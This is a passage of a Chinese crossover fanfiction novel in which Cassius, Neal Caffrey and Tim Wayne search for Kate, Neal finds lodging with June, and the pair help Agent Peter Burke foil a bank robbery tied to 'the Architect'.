尼尔淡声道了歉。 “抱歉，我没想不告而别，真不告而别的话，就不会喝下你给我的那瓶水。”他平静地说。 卡修斯：…… 你们一个个的，就差插个尾巴了。 两人没再说话。卡修斯看着尼尔失魂落魄的身影，心里也有些复杂。 其实当然看到尼尔的坐标停在这里一直都没再动的时候，就预感到也许凯特并不在这里了。 尼尔此刻心理活动全部都是在回忆自己当初和凯特刚确定关系在一起时，在这栋房子里留下的点点滴滴的美好记忆。 卡修斯不是很想知道，但尼尔的心声听上去像是快要哭了。他实在不好意思打扰沉浸在悲伤中的他。 亲眼看到尼尔这样的大帅哥也要吃爱情的苦，让卡修斯引以为戒，告诫自己千万不要恋爱脑。 卡修斯知道，这会儿什麽安慰都不管用，尼尔还是得自己消化一下情绪。但提姆显然无法跟尼尔感同身受，陪着站了五分钟之后就有点坐立不安了。 要知道韦恩少总的时间可真的就是金钱。 “他站在这儿到底想干嘛？”提姆悄悄戳了卡修斯。 提姆很费解，站在这里完全不能解决任何问题啊。 卡修斯斜看了提姆一眼，他本来很担心提姆也是恋爱脑，但现在看来，应该不是。如果他是恋爱脑的话，肯定就能对尼尔此刻的悲伤感同身受了。 卡修斯很欣慰，于是悄悄跟他解释道：“大概是……想确认一下吧。” 那种被抛弃、被欺骗的茫然和不甘，就算亲眼见证，可能也很难立即接受。 “先离开这儿？我能感觉到这栋楼上已经有好几家住户在窗口悄悄观察我们了，有人还在打电话！”提姆说。 卡修斯拍了拍尼尔的肩膀：“先离开这儿吧，我们在这里站太久了，楼上的人可能要报警了。” 尼尔迟钝的点了点头，随后跟着卡修斯他们一起离开，重新坐进了车里。 卡修斯推了提姆一把，让他坐前排。提姆有点不甘心地瞪了他一眼，但还是听话地坐在了司机旁边。 等到车子缓缓启动，尼尔还忍不住回过头去，用目光去追踪那栋距离他原来越远的公寓楼。 “她不住在这里。”尼尔忽然开口说话了，“房东说几个月前有个女人来这里，说她是尼尔·卡夫瑞的妻子。她退了租，拿走了剩下的钱。” “这里是我们拥有最好回忆的地方，我入狱前用仅剩的钱付了这里4年的房租，就是希望凯特不要再居无定所的漂泊。” “为什麽？她到底为什麽要这样做？她去哪儿了？” “我在监狱的时候，凯特每周都会来看我，是不是我回去监狱就能重新见到她了？” 卡修斯真的是服了，这是什麽恋爱脑癌晚期？ “我警告你啊，我好不容易才把你弄出来，别给我想离谱的事情！爱情虽然美好，但没什麽比自由更重要！” 尼尔没说话。 卡修斯知道他没听进去。就在他正在犹豫，要不要告诉他凯特·莫罗身上的疑点时，尼尔忽然看向卡修斯，那双多情迷人的蓝眼睛里满是祈求：“卡修斯，你不是会占卜吗？之前就是你告诉我，凯特还在纽约的，你能不能……” “不能。”卡修斯打断他，他虽然拒绝了他，但声音里还是带着安抚的力量，“我当时就告诉过你，找到凯特对你来说并不是件好事，你没有听我的。” 尼尔说：“为了她，我可以放弃一切。” 卡修斯翻了翻眼睛，直接放弃劝说。 “占卜又不是万能的GPS，我不知道她现在在哪里。” 尼尔的肩膀瞬间垮了下去，眼中原本因为将希望寄托在卡修斯身上而亮起的光也熄灭了。 卡修斯看着他失魂落魄的样子，终究还是不忍心。怎麽办呢，他就是见不得美人受苦。 “但是，尼尔，我可以告诉你，凯特一定会主动来找你的。” 提姆从车的后视镜看向他，尼尔也猛地抬头：“真的？你怎麽知道？” “因为你出来了。”卡修斯直视着他的眼睛，语气笃定。 “你在监狱里面的时候，她可以通过一周一次的见面吊着你，但你出来了，她就没办法跟你保持这种‘触碰不到，但却能见到’的微妙距离。” 尼尔听出他意有所指，皱眉问道：“你什麽意思？” 卡修斯说：“我的意思就是你不想听的那个意思。你们的感情并不像你想的那样纯洁和珍贵，她在利用你，所以你放心，在她最终目的没有达成之前，她是不会轻易失联的。” 尼尔还是不相信，他直接说：“我们在哥谭认识的时候，你明明没见过她，但我能感觉出来，你从那个时候就不喜欢她。你是以前认识她？” 卡修斯摇头：“我不认识她，当然，我也不知道凯特到底有什麽魅力能让你为她如此神魂颠倒。” 他看尼尔急欲张口反驳，温和地打断他说：“你不用说服我，也不用现在就相信我。不用着急，她会想办法联系你的。” 说着，他又意味深长的轻笑了一声，继续道：“我猜，她联系你之后，一定会含泪忍痛和提分手。” 尼尔奇怪的看着他：“为什麽？” 卡修斯说：“对啊，你一定很想知道为什麽，所以会倾尽一切努力去找她，而这个时候你就会发现，她‘恰好’给你留了一些能找到她的线索。” 卡修斯想了想，说：“这就像毛驴面前的胡萝卜，‘找到她，见到她，当面问她为什麽要分手’这就是吊在你面前的胡萝卜，之后，你就不会不由自主的按照她的安排，一步步地达成她的愿望。” 尼尔沉默了一会儿，随即看着卡修斯说：“我不相信。” 卡修斯也不急于让他现在相信自己，事实总是胜于雄辩的。于是他点头道：“那麽你不妨等等看。” 提姆一直在通过车窗前的后视镜观察卡修斯，他敏锐地捕捉到了卡修斯话语中那丝过于笃定的味道。 他微微眯起眼睛，将那种带着探究的欣赏目光落在卡修斯的脸上。 此刻卡修斯的表情有种笃定的自信，就像当初在哥谭，他提前“知道”猫头鹰法庭的存在一样。 提姆瞬间明白，也许在卡修斯的宇宙中，他也同样熟悉尼尔·卡夫瑞。 尼尔也盯着卡修斯看了许久，看出他脸上那种属于神秘学人士的，关于洞悉未来的自信。 “好。”尼尔深吸一口气，努力平复情绪，重新挺直脊背，又将那种招牌式的，带点玩世不恭的优雅笑容挂在了脸上，隐去眼中的那点阴霾。 “希望你的预言能实现——关于她会主动联系我的那部分。” 他转头朝窗外看了几眼，问道：“所以我们现在去哪儿？回你那个豪华的金丝雀笼子？” “金丝雀笼子？”提姆重复了一遍。 “没有什麽金丝雀，你别瞎说。”卡修斯无语地看着他。 提姆从后视镜里看向尼尔，脸上也挂着公式化的笑容：“你说的没错，而且我的笼子只能养一只金丝雀，所以……” “喂！”卡修斯打断他，用手指着自己说，“你们见过这麽魁梧的金丝雀吗？” 尼尔刻意打量了他几眼，笑道：“作为金丝雀来说，你确实不够耀眼。” 卡修斯假笑：“是啊，谁能比得过你呢？” 几句玩笑打消了刚才弥漫在车里的低沉气氛，尼尔耸了耸肩，说道：“我的卡里还有一些钱，找个酒店住两天还是可以的。” 卡修斯带他去的那个公寓看上去确实太精致了，尼尔认为在自己还没弄清卡修斯保释自己的真正目的之前，还是不要欠他太多人情的好。 卡修斯刚想说“提姆是开玩笑的，你别听他的”，提姆的手机就响了起来。 提姆接起电话简单的应了两声就挂断了。 他有些抱歉的看着两人：“公司临时有事，不能陪你们回去了。” 说着就吩咐旁边的司机，让他找个能停车的地方先放他下来，再送卡修斯和尼尔回去。 “谢谢你的好意，韦恩先生。”尼尔率先开口道。 提姆愣了一下，才反应过来这个“韦恩先生”是在叫自己。 他笑了笑：“你和卡修斯一样，叫我提姆就可以。” 尼尔也不客气，直接点头道：“好的，提姆，不过不用了，这里离刚才的公寓很近了，我想下来走走。” 卡修斯立刻说：“我陪他下去走走，你直接让司机送你去公司吧。” 尼尔想拒绝，但卡修斯已经率先打开车门，下车了。他走到副驾位置微微弯腰，车窗玻璃慢慢打开，他看着提姆说：“不许监视我，不许窃听我。” 提姆笑道：“知道了，去吧。” 两人目送林肯车慢慢开远，尼尔刚想继续问关于凯特的事，街边突然传来一声惊呼和重物落地的声音。 两人循声望去，不远处的人行道上，一位看起来五十多岁，但衣着却相当考究的夫人被一辆疾驰而过的自行车撞倒在地。骑车的年轻人头也不回地加速溜走了。妇人手里抱着的大纸袋里，几件被防尘袋套着的衣服散落一地。 尼尔条件反射般地冲了过去。 “女士，您没事吧？”尼尔蹲下身，声音温柔而充满关切，完全不见刚才的颓唐。 他小心翼翼地扶住那位夫人的手臂，帮助她慢慢坐起来。卡修斯也走了过去，帮她捡起散落在旁边的衣物和纸袋。 “我……没事，就是吓了一跳。谢谢你们，年轻人。”女人惊魂未定，但看到尼尔英俊的脸和真诚的担忧，本来皱着眉的神情立即变得舒展开来。卡修斯看得出，虽然女人有了一定年纪，但她乌黑的短发打理的端庄又整齐，连妆容都很考究，一看就是那种从来不会为生计发愁的夫人。 “现在的年轻人真的太鲁莽了。”尼尔扶着夫人站起来，说道，“我应该早点注意这边的。” “不关你的事，小夥子。”夫人就着被扶的姿势拍了拍尼尔的小臂，又活动了一下手脚，感觉没什麽大碍，“是我年纪大，反应慢了，总之，谢谢你们。” 尼尔看妇人活动脚腕时神情有些勉强，在她面前蹲下来，又抬眼注视着她，指了指她的脚腕，问道：“我可以帮您看看吗？” 妇人被尼尔的绅士和体贴逗的心花怒放，笑着点头道：“当然可以，小夥子，我的年纪都大到说不定可以做你的祖母了，不介意这些。” 卡修斯第一次近距离观赏对方怎麽在短短一分钟的时间里获得女士的青睐，简直叹为观止。 尼尔把手搭在妇人的脚腕上，神色专注的观察了一会儿，然后站起来说：“有些轻微的扭伤，您给家里人打个电话吧，让他们来接您回去。” “不用，我就住在前面不远，河滨大道那儿。”女人摆手表示不用麻烦。 尼尔又说：“如果您不介意的话，我可以送您回去。” 河滨大道？卡修斯觉得这个位置隐隐有些耳熟。 妇人打量了尼尔和卡修斯两眼，随即再次缓缓笑出来：“当然，英俊的年轻人，那就麻烦你们了。” 尼尔立刻扶住妇人，一边走一边主动自我介绍道：“我叫尼尔·卡夫瑞。” 妇人点头道：“你好，尼尔，我叫琼·埃文斯，你可以叫我琼。” 卡修斯站定了。 两人走了一会儿，尼尔才发现卡修斯没跟上来，转过头，就看他一脸异色的看着他和琼太太的背影。 “怎麽了？”尼尔问。 卡修斯想起来这是谁了，她不就是尼尔做顾问时，在旧货店因为捐赠亡夫的旧衣物而和尼尔结识，并且慷慨的为尼尔提供了住处的房东太太吗？！ 他内心剧震。和琼的相遇，让卡修斯感觉到冥冥之中仿佛有一只无形的手，在将自己强行干预的剧情扳回去——即使他保释了尼尔，即使凯特提前消失，即使尼尔获得自由的时间比原定早了近4年，他依然以另一种意外的形式，遇到了他的房东太太。 他忽然感到一种莫名的忐忑——他真觉得以自己的能力，能扭转许多不好的事发生吗？ 他想到了和尼尔初始时，他看到尼尔临摹的那幅画。他猜提姆会特意来纽约，除了查到凯特·莫罗不对劲之外，可能主要目的也是为了会会这个临摹过韦恩庄园藏品的伪造大师。 提姆有可能猜到了尼尔临摹那副画的目的，就是为了找机会从韦恩庄园调换走那副真品。 “没事。”卡修斯勉强笑了笑，跟了上去。 琼太太家是一栋带有露台和小花园的维多利亚风格联排别墅，虽然建筑有些年头，但保养的很好，透着一种温馨雅致的气息。 走进屋内，更是充满了艺术气息。墙上挂着不少油画，壁炉架上还摆放着精美的瓷器和古董摆件。 “请进吧。”琼太太热情地招呼他们坐下，又让家里的女仆去准备茶水。 尼尔的目光被挂在楼梯侧面墙壁上的几幅油画吸引，他站起来，不由自主地走到楼梯上，看向离他最近的一幅描绘海港落日的风景画前，仔细端详。 “这幅晨曦渔港真美。笔触、光影的塑造，尤其是对水波的处理，简直太美妙了！看得出作者对这幅美景充满了感情，他的每一笔笔触都饱含爱意。” 琼太太端着茶盘走过来，听到尼尔的话，脸上露出了惊喜和怀念的笑容。 “我也非常喜欢，这幅画是我已故的丈夫拜伦画的，这里正是他向我求婚的地方。” “您的丈夫是位真正的艺术家！”尼尔由衷地赞叹道。接着，他指着画作的几个细节，开始侃侃而谈，从色彩的运用到构图的精妙，分析得头头是道，卡修斯看得出，这不是为了讨好而说的场面话，而是对一个真正艺术家的欣赏。 琼太太被夸得心花怒放，看着尼尔的眼神更加慈爱了。她拉着尼尔坐下来，和他聊起了他的丈夫。 自此，卡修斯貌似就彻底变成了尼尔的挂件。 两人相谈甚欢，已经从油画谈论到了衣着品味，琼太太将手边放在防尘袋中的西装递给尼尔，让他试试看。 “从我看到你的第一眼，就觉得你穿这些衣服一定合适。这都是我丈夫年轻时最常穿的行头。” 卡修斯心中的感慨更深了，感觉命运的齿轮真的是太难撼动了。 “尼尔，你住哪里？如果不嫌弃的话，我可以把这些衣服都送给你，与其将它们捐赠给旧衣店，不如让它们在真正适合它们的人身上继续绽放光彩。”琼太太看着尼尔，慈爱地说。 尼尔脸上的笑容微微一滞，随即又恢复自然，带着点恰到好处的窘迫：“我现在暂时住在朋友家。” 说着他指了指卡修斯。 “你可以在那里长住的。”卡修斯无奈的说。 在刚才的交谈中，尼尔已经将自己被FBI精英罪案科抓捕，并且刚刚被保释的事毫无保留的告诉了琼太太，没想到妇人毫不在意，反而用更慈爱的目光看着他，告诉他，尼尔和她的亡夫是“同行”，只不过婚后，为了给她安稳的生活，从此隐退了。 这真是天打雷劈的缘分啊。 琼轻易从卡修斯的表情中看出了不自在，她还以为尼尔不愿继续麻烦自己的朋友，立即说：“亲爱的，你们两个大男人，住在一起多不方便。” 说着她手心向上，朝着屋内一挥，“如果你愿意的话，我这里楼顶天台刚好有一间客房空着，很干净，采光也好。我一个人住这麽大房子，有时候也觉得有点冷清……”说着，她顿了顿，又说：“我还有个刚考上艺术学院的孙女，她每周末会回来，刚好你们年轻人在一起可以探讨一下她的课业。” 尼尔惊喜地瞪大眼，然后又露出一个羞涩又腼腆的微笑，琼太太知道这是他动心了的意思。 琼转头看向卡修斯，继续温和道：“你呢？年轻人？” 卡修斯苦笑着看向一脸得逞的尼尔，最终点了点头。 和琼太太的结识对尼尔来说也是一份善缘，这可以帮助他在这个地方产生更多的牵绊，让他慢慢对“正常人”的生活产生留恋。 这对尼尔来说，也是一件好事。 两人告别了琼太太，尼尔说要去卡修斯的住处整理一些东西，稍后再回来。琼太太刚好也说，楼上的房间虽然常年空着，但还是需要打扫一下灰尘，所以约定晚上再见面，正式欢迎尼尔的入住。 离开别墅后，卡修斯直接说：“你根本没什麽东西要整理，是有话想对我说吗？” 尼尔笑了笑，他按了按琼太太刚刚送给他的爵士礼帽，看着卡修斯说：“是你有话想对我说吧。” 卡修斯挑眉看他。 “我可是联调局的重犯，关押在联邦最高监狱，想要保释我这样的罪犯，光有钱可是不够的。我有自知之明，觉得我们之间的交情绝对不足以让你为我费这麽大的周折。所以，你找我到底是为了什麽事？本来我想等你主动开口的，但现在我也找到了新的住处，想想还是先问你吧。能帮到你的，我一定会帮。” 尼尔坦诚道。 他猜测卡修斯保释自己，大概率是想要利用自己的“专业技能”。 “既然你这麽说，我就直说了。”两人此刻刚好站在曼哈顿银行门口，卡修斯继续道，“我希望你能帮我引荐MOZ。” 尼尔吃了一惊，没想到尼尔费这麽大劲，居然是为了找MOZ。 如果只涉及到自己，尼尔说什麽都会帮他，但还牵扯到MOZ的话，尼尔不由有些警惕：“你找MOZ干什麽？” 如果卡修斯要做的事是要他出卖MOZ的话，他宁愿继续回去蹲大牢。 而卡修斯也清楚的听到了尼尔维护朋友的决心。 “你别紧张。”卡修斯安抚道：“你曾经不是临摹过一幅韦恩庄园的肖像画吗？我想找MOZ的事跟这个也有点关联——我想和他探讨一些和时空穿梭有关的事，简单地说，就是如果有人意外跨越了时空，有什麽方式还能回去呢？” 半晌，尼尔才慢吞吞的问：“你说的这个‘跨越了时空’的人，不会是你自己吧？” 第80章 他本可以选择一条更好的路 午后的曼哈顿街头，阳光被高耸的玻璃幕墙切割成锐利的碎片投在卡修斯的脸上，让他的表情看上去有些不可捉摸。 两人对视了一会儿，尼尔知道卡修斯此刻的沉默就相当于默认，于是不再追问。 莫兹一向对这种神秘事件感兴趣，如果卡修斯是为了这件事找他的话，自己当然不会阻止他们见面。 “可布鲁斯·韦恩不是正义联盟的资助人吗？正义联盟掌握的科技比MOZ知道的更先进，他现在跟韦恩家族关系这麽紧密，为什麽不直接找布鲁斯·韦恩寻求帮助呢？” 这是尼尔最疑惑的地方。在有更优资源的情况下，卡修斯根本没理由舍近求远。 “你为什麽不向布鲁斯·韦恩求助呢？” 卡修斯想了想，非常委婉地说：“如果我找布鲁斯的话，提姆就一定会知道，他太聪明了，一定会猜到我研究这个是想要做什麽。” 现在这个为了凯特宁愿放弃自由的尼尔不懂，但以后那个宁愿放弃挚友和安稳的生活，选择假死重新开始，也要获得自由的尼尔会懂的。 提姆很好，他遇到的每一位超级英雄都很好，但他还是想要回到自己的世界。他的世界虽然没有这些英雄式的人物，但对普通人更加友好。 卡修斯看着纽约街头这些行色匆匆的普通路人，更加怀念自己曾经的平凡生活了。 尼尔听懂了他的意思。刚才提姆·韦恩在场的时候，对卡修斯表现出的喜爱根本逃不开这位情场大师的眼睛。 “你——” 尼尔刚说出一个单词，就停了下来，他看到四个穿着黑色西装，同样戴着爵士帽，但将帽檐压得很低的男人，提着一模一样的手提箱，进入了他们身后的银行。 与此同时，远处忽然响起隐约的警铃声。精通犯罪的尼尔立刻意识到，那是隔壁街区银行触发的警报声。 卡修斯也听到了远处的警铃声，他朝着声音的方向疑惑地望过去。 他们身后的银行大门忽然被关闭了。 黄铜门栓落下，金属卷帘门也从内部落下，发出沉闷的撞击声，将银行内部与外面的街道完全隔绝开来。 现在刚好也到了银行快要下班的时间，所以这种提早几分钟下班的举动并没有引起路人的注意。 “该死！”尼尔低声咒骂，原本放松的身体姿态也立即变了。 卡修斯也意识到了不对，他抓住尼尔的手臂，迅速退到旁边一个报刊亭的阴影里。 “怎麽回事？”他问。 “刚才进去的那四个男人是劫匪，这家银行的工作人员很有可能已经被控制了。” “但是……为什麽警报没响？” 尼尔语速极快，眉头紧锁，目光如鹰隼般扫视着银行紧闭的大门和周围毫无异样的街道。银行内部也没有传来任何骚动，只有一片安静。这种反常的平静比混乱更让人心底发寒。 好家夥，在纽约这种大城市居然还能遇到抢银行的。这让卡修斯瞬间有种回到哥谭的错觉，可惜的是纽约这儿既没有超人，也没有蝙蝠侠，这个世界更没有他们的纽约好邻居蜘蛛侠，一切全靠警察。 卡修斯的心猛然漏跳半拍。眼前的场景像是一把钥匙，唤醒了卡修斯并不深刻的记忆。 他记得尼尔和彼特合作破获过一起银行劫案，跟眼前这幅场景何其相似？ “报警。”他推了推尼尔的手臂。 “什麽？”尼尔诧异的看着他。 “这辈子没报过警，只被别人报过警。” 卡修斯不耐烦地将自己的手机递给他：“快点吧。” 尼尔心里疑惑着“你为什麽不自己报警？”，但还是接过了手机拨通了纽约警局的报警电话。 卡修斯当然不会告诉他，他都不知道自己知道的报警电话是不是适用于这个世界。 “我这里是纽约互助银行河滨大道分行，这里有四名武装劫匪进入了银行，但银行本身的警报系统没有触发，他们可能劫持了人质！”拨通911后，尼尔迅速将见到的一切复述出来，并且重点强调了警报没被触发和疑似有人质。 接线员公事公办的声音透过听筒清晰的传了出来，带着一丝明显的不耐烦：“先生，今天全城许多银行系统都触发了假警报！所有的警力都在外面疲于奔命！你说的情况我们知道了，但无法立刻确认，也没有多余的警力能调派，请保持冷静，不要靠近银行，等待我们的进一步联系……” “F……”尼尔挂断电话，转头看向卡修斯：“他们说系统故障，警力全派出去了，根本不信我们，认为我在谎报或者反应过度！”他看向银行那如同堡垒般紧闭的大门，脸上满是疑惑。 之前在监狱阅读报纸的时候，他也看到过类似的案件，在达拉斯、芝加哥和波士顿，都发生过银行抢劫案，劫匪们并不是通常那样从银行正门进入，直接持枪抢劫，而是通过银行的安保漏洞，从内部控制了银行，从而搬走了银行金库里的钱。这几起案件有一个共同点，就是有一位绰号“建筑师”的人，在抢劫银行之前都提前预警了自己即将抢劫。 可偏偏每次都让他成功作案。尼尔也很好奇，对方到底用了什麽手段。 他隐隐有预感，这次的抢劫也许跟这位“建筑师”也有很大关系。 “他们不信，有人会信。”卡修斯沉声说。 他拿过尼尔手中的手机，又从口袋里掏出早些时候，彼特·博克探员百般不情愿，但依旧递给自己的名片，拨通了上面的电话号码。 尼尔看到他打给谁之后，眉毛挑得老高。不知道对方要做什麽。这种抢银行的案件FBI应该不会管的吧。 彼特·博克秒接。 “卡修斯·希尔？”博克探员低沉紧绷的声音传来，背景音是呼啸的警笛和嘈杂的人声，显然他也正处于某个混乱的现场。 “我现在很忙，如果没有要紧的事……” “博克探员！”卡修斯打断他，声音也很强硬，“我们在纽约互助银行滨河大道分部，这里有四个持械劫匪进入，但是银行警报没响，他们已经控制了内部，而且很可能劫持了人质。” “什麽？”博克的声音拔高，但还是充满了怀疑，“你怎麽知道？今天大部分银行……” “触发了假警报对吗？”尼尔打断他的话，快速说，“这就是他们的掩护，这里才是他们真正的目标。” 说到一半，他忽然把电话递给尼尔。 尼尔惊讶地看着他，卡修斯故意大声说：“是你发现的，你来说。” 尼尔使劲摇了摇头，表示并不想和博克探员通话，但卡修斯还是把手机硬塞入他的手里。 尼尔只好将电话放在耳边，继续说：“银行下班时间还差几分钟，是我亲眼看到他们其中一个人去锁了门。没有惊动街上的路人，所以我猜他们并不是抢劫柜台，而是打算直接抢劫银行金库。” 抢金库可比抢柜台难多了，他们需要更多的时间，以及更专业的绕过银行内部安全系统的办法。 “你有几分把握？” 博克已经走到一个相对安静的地方，快速说道。 尼尔没回答他，转而问道：“你们FBI是不是有一个叫‘建筑师’的嫌疑人？” 博克这回是真的有点震惊了。最近他们确实收到过“建筑师”发来的抢劫预告。 但是这家银行在今天早些时候已经触发过一次假警报，现在就算是他，也没办法再调人过去。彼特只思考了10秒钟，就决定自己亲自过去支持。 “你们不要擅自行动，等我过来。”博克警告道。 “那你可得快点。”尼尔忍不住调侃。 他觉得等博克探员抵达，说不定那四个劫匪早已经逃之夭夭了。 卡修斯拿回自己的手机，两人对视一眼。尼尔现在觉得卡修斯或许真的知道点什麽，比如说，他就很笃定博克探员对正义和真相的执着会压倒对他这个罪犯的偏见。 “难道在你的时空里，也有彼特·博克和我？”尼尔问。 “算是吧。”卡修斯含混的说着。 “是就是，不是就不是，“算是”是什麽回答？” 尼尔刚想问个清楚，穿着卡其色风衣的博克探员就从刚好停在银行门口的出租车里钻了出来。 两人立即止住了话头。 彼特·博克看到他们俩，并没有浪费时间招呼，先是迅速观察了一眼银行外围的情况，然后直接看向尼尔，问道：“你知道还能从哪里进入银行内部吗？” 尼尔无辜地看着他：“我怎麽知道？” 彼特转而看向卡修斯：“你来问？” 卡修斯无奈的看着他。 “要不你态度好点再问问呢？尼尔要顺毛捋。” 彼特深吸一口气，看着尼尔：“Please。” 尼尔的眼神有些不自在地飘忽了一下，最后还是抵挡不住博克的真诚，无奈道：“我是看在卡修斯的面子上才帮你的，说到底，这件事跟我没什麽关系。” 彼特说：“我知道，谢谢你。” 尼尔叹了口气，说：“跟我来吧，一般银行天台的通风口会直通银行内部。” 卡修斯想要跟着他们一块儿去，彼特制止了他：“你留在这儿等吧，万一我们没成功阻止劫匪，你可以在这儿帮我们拍照，对以后指认劫匪有帮助。” 彼特其实是担心万一卡修斯在这个没有FBI和警察授权的行动中受到伤害，要面对韦恩集团律师的质询，他最不喜欢和这些大资本的法务打交道。 卡修斯也没坚持，点头道：“好。” “猫鼠合作培养感情，我就不去当电灯泡了。” 彼特疑惑地看着他。 卡修斯这句心声是用中文说的，彼特没听懂，事实上，他听到卡修斯的第一句心声也是中文，后来，卡修斯主动将自己的心声换成了英语，像是故意方便自己听似的。 但现在不是细究这个的时候，彼特最终还是移开目光。 虽然卡修斯不用跟他们一起行动，但三人还是一起绕到银行后面一个偏僻的小径。 尼尔目标明确——那里有个不起眼的，锈迹斑斑的铁质检修梯，它紧贴着墙壁，直通银行大楼低矮的裙楼屋顶。 “从这里上去。”尼尔指了指梯子，“一般这种建筑的裙楼屋顶和主楼之间有维修信道入口，大概率通向通风系统。” 博克看了眼陡峭的梯子，二话没说，利落地抓住冰冷的铁条，动作轻盈而迅捷地向上攀爬。 不一会儿，两人就爬上了楼顶。 “入口在哪儿？”虽然爬了一段直梯，但博克的声音还是很稳，没有一丝过度的喘息。 尼尔没有回答，他的目光迅速掠过屋顶平台，然后在平台边缘一处不起眼的、被巨大空调外机遮挡的角落蹲下身，手指拂过一块色泽暗沉的金属盖板。 “这里。”他的手指在盖板边缘一个隐蔽的卡扣上轻轻一拨，“嗤”的一声轻响，盖板应声摊开，露出下方黑洞洞的方形入口。 卡修斯目送他们爬上铁梯后，自己也离开了，他四下看了看，锁定了银行大楼背面那个毫不起眼的铁质小门。这是银行后门的紧急出口，虽然现在正锁着，但他知道，这是劫匪计划中完美的退路。 他悄悄退到不远处一个陈旧的电话亭阴影里，充分发挥一个刺客的专业精神，将自己彻底融入背景，在熙熙攘攘的人流中，没有人注意到他，他就像一个耐心等待猎物踏入陷阱的猎人，所有的感官都提升到了极致，捕捉着后门方向任何一丝细微的动静。 时间，在焦灼的等待中一分一秒地慢慢流逝。卡修斯安静地回忆着自己所知道的剧情，博克和尼尔两个人面对四个持枪匪徒显然还是勉强了些，他们这次进入的主要目的是先保证人质的安全。 劫匪们挟持了银行的安保经理为他们开启金库，博克会趁他们装钱的工夫，去解救这位银行职员。劫匪的目的就是抢钱，在意识到有人闯入时，朝尼尔开枪，并快速从后门溜走，混入熙熙攘攘的人群之中。 卡修斯要做的就是在这里守株待兔，等到劫匪们跑出来的时候，将他们一网打尽。 五分钟之后，卡修斯盯着的那个门终于有了动静。门锁从内部被打开，四个拎着皮箱的劫匪鱼贯而出，打算迅速融入人群之中。 卡修斯忽然出手。 他甩出早就在手中准备好的两张塔罗牌，准确地打中了其中两个劫匪的手腕。 “啊！” 被塔罗牌打到的两人下意识手一松，两个手提箱立即被脱手。 另外两人警惕地回头看了自己的同伴一眼，立刻意识到他们被袭击了。但是他们并没有停下来，而是加快速度，更快离开了现场。 被打中的两人不甘心，想要再伸手去拿箱子，卡修斯再甩出两张塔罗牌。 金属卡牌的一角被嵌在了跌落在地的手提箱上。 劫匪们从卡在箱子上的特殊“飞镖”准确的角度和力气，就知道埋伏他们的，绝不是他们可以对付的人。 身后，银行内部追逐者的声音越来越近，想到被同夥带走的两箱钱，两个劫匪宕机立断地抛弃箱子，直接逃跑了。 尼尔冲了出来，但劫匪的踪影早已不见，徒留正在弯腰捡箱子的卡修斯。 其实以卡修斯的能力，他能轻而易举地抓住这四个劫匪，甚至直接杀了他们。但就在他看到劫匪的时候，忽然改变了主意。 如果这四个人现在被抓，他们为了减刑，一定会供出幕后主使，也就是“建筑师”的真实身份。但之后，就没有尼尔什麽事儿了，他顶多能得到博克一句私人的感谢。 卡修斯希望这个人是在尼尔的帮助下抓到的，这样他就能和FBI谈条件，让尼尔以案件顾问的身份加入FBI。这样就能很自然地延续博克和尼尔之间的情谊，让尼尔找到比通过完美犯罪获得成就感更有意义的事。 尼尔在哥谭是见过卡修斯的身手的，他用狐疑的眼光看着对方，不知道为什麽明明是他要求报的警，最后又将劫匪给放走了。 “你到底在盘算什麽？”尼尔看着提着两箱钱的卡修斯问。 “以后你就知道了。”他神神秘秘地笑了一下。 银行正门被赶来的警车和闪烁的警灯包围，拉起的黄色警戒线隔绝了喧嚣好奇的人群。 博克探员将被营救的人质——银行安保经理芮妮·西蒙斯护送上车后，转身走向卡修斯和尼尔。 卡修斯已经将两箱钱作为证物交给了彼特·博克，此刻正笑眯眯的看着他。 博克不想看他这个狐狸般的笑容，转而看向尼尔。 刚才两人在银行里一起面对劫匪时，尼尔非常听指挥，甚至在自己差点要暴露，无法解救女职员的时候，主动暴露自己，吸引了劫匪的注意力。这让博克现在对尼尔的感觉很复杂。 “你们两个需要跟我回去做个笔录。”博克用面对两人时从没用过的温和口吻说。 卡修斯点头：“好。” 博克朝他点了点头：“感谢你的配合。” 尼尔无声地用口型对卡修斯说：搞什麽？ 他明明知道自己这种身份的人，最不愿去的地方是哪里。 两人跟着博克走向警车的时候，忽然有个警员撞了尼尔一下。 尼尔顿了顿，回头只看到一个压低帽檐，快速离开的背影。 他迅速把这个神秘警察趁机递给自己的纸条拿起来看了一眼，原本轻松的神情立刻凝固了。 卡修斯敏锐地察觉到了他情绪的剧变，坐进车里侧头问：“尼尔？” 尼尔看向卡修斯，破天荒的带了些埋怨：“你……早就知道？” 卡修斯看了看他手上的纸条，接过来展开，上面只有短短几行字。 【尼尔，找机会带着八音盒离开纽约，只要你不交出八音盒，这些人就不会对我怎麽样的，我就暂时安全！我会伺机逃跑，等我安全之后，会再联系你的！】 纸条上的每个字都像淬毒的针，准确地刺在尼尔最脆弱的地方。 他没想到凯特这麽快就联系了他，也没想到卡修斯对她的判断竟然对了八九分。她倒是没有要求分手，但让尼尔独自逃跑，跟分手又有什麽区别？ 卡修斯看完，居然还笑了一声。 “你看，吊在驴眼前的那根胡萝卜，不是出现了吗？” 博克也上了车，卡修斯不再说话，尼尔显然也没有了说话的心情。 这位资深探员转头看了眼两人之间诡异的气氛，本来想说些什麽的，也暂时闭嘴了。 就在车子启动的时候，博克探员的脑子里忽然再次出现了卡修斯的声音。 “博克探员，别回头。尼尔听不到我的心声，这里只有你听得到，我有件事想请你帮忙。” 博克从后视镜里看了卡修斯一眼，对方也正看着他。倒是尼尔，永远挂着玩世不恭表情的他此刻正毫无焦距地凝视着窗外，不知道在想些什麽。 “尼尔也许能帮你们抓到这次的主谋——“建筑师”。” 卡修斯一下子就说了个劲爆消息。 博克的眼睛都忍不住瞪大了些。这次抢劫之前，FBI收到“建筑师”的抢劫预警是机密，普通探员都不知道，更别说卡修斯这个无关人士了。 【你是怎麽知道的！】 博克看了心不在焉的尼尔一眼，低头用自己的手机给卡修斯发消息。 “别忘了，我是占卜师，有预见能力，很奇怪吗？” 博克用“你看我是弱智吗？”的眼神看着他，显然是不相信他的这个理由。但他也知道，现在不是讨论这个问题的好时机，一切可以去局里说。于是他给了对方一个眼神，示意他继续说。 “但是我有个要求。” 【FBI从不和罪犯谈条件。】 “和你谈条件的不是尼尔，而他也不是普通罪犯，他算是……专业人士？” 【说说你的条件】 “尼尔帮你们找到“建筑师”，FBI请他做你们的罪案顾问，相信我，这是一笔划算的买卖，有了他专业能力的帮助，你们的破案率一定会显著提升。” 博克没回复他，显然是陷入了思考。 卡修斯继续说： 